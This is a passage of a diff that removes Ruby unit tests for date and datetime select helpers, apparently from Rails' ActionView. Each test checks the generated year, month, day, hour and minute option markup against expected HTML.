-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(
-      Time.mktime(Date.today.year, 8, 16), :end_year => Date.today.year+1, :prefix => "date[first]"
-    )
-  end
-
-  def test_select_date_with_no_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    2003.upto(2008) do |y|
-      if y == 2003
-        expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
-      else
-        expected << %(<option value="#{y}">#{y}</option>\n)
-      end
-    end
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(
-      Time.mktime(2003, 8, 16), :start_year => 2003, :prefix => "date[first]"
-    )
-  end
-
-  def test_select_date_with_no_start_or_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    (Date.today.year-5).upto(Date.today.year+5) do |y|
-      if y == Date.today.year
-        expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
-      else
-        expected << %(<option value="#{y}">#{y}</option>\n)
-      end
-    end
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(
-      Time.mktime(Date.today.year, 8, 16), :prefix => "date[first]"
-    )
-  end
-
-  def test_select_date_with_zero_value
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(0, :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
-  end
-
-  def test_select_date_with_zero_value_and_no_start_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    (Date.today.year-5).upto(Date.today.year+1) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(0, :end_year => Date.today.year+1, :prefix => "date[first]")
-  end
-
-  def test_select_date_with_zero_value_and_no_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    last_year = Time.now.year + 5
-    2003.upto(last_year) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(0, :start_year => 2003, :prefix => "date[first]")
-  end
-
-  def test_select_date_with_zero_value_and_no_start_and_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(0, :prefix => "date[first]")
-  end
-
-  def test_select_date_with_nil_value_and_no_start_and_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(nil, :prefix => "date[first]")
-  end
-
-  def test_select_date_with_html_options
-    expected =  %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => "selector")
-  end
-
-  def test_select_date_with_separator
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << " / "
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << " / "
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :start_year => 2003, :end_year => 2005, :prefix => "date[first]"})
-  end
-
-  def test_select_datetime
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
-  end
-
-  def test_select_datetime_with_separators
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    expected << " &mdash; "
-
-    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :datetime_separator => ' &mdash; ', :time_separator => ' : ')
-  end
-
-  def test_select_datetime_with_nil_value_and_no_start_and_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_datetime(nil, :prefix => "date[first]")
-  end
-
-  def test_select_datetime_with_html_options
-    expected =  %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_hour" name="date[first][hour]" class="selector">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_minute" name="date[first][minute]" class="selector">\n)
